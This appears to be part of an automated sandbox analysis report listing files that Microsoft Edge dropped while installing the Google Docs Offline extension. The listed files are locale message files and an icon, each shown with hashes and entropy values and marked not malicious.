Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
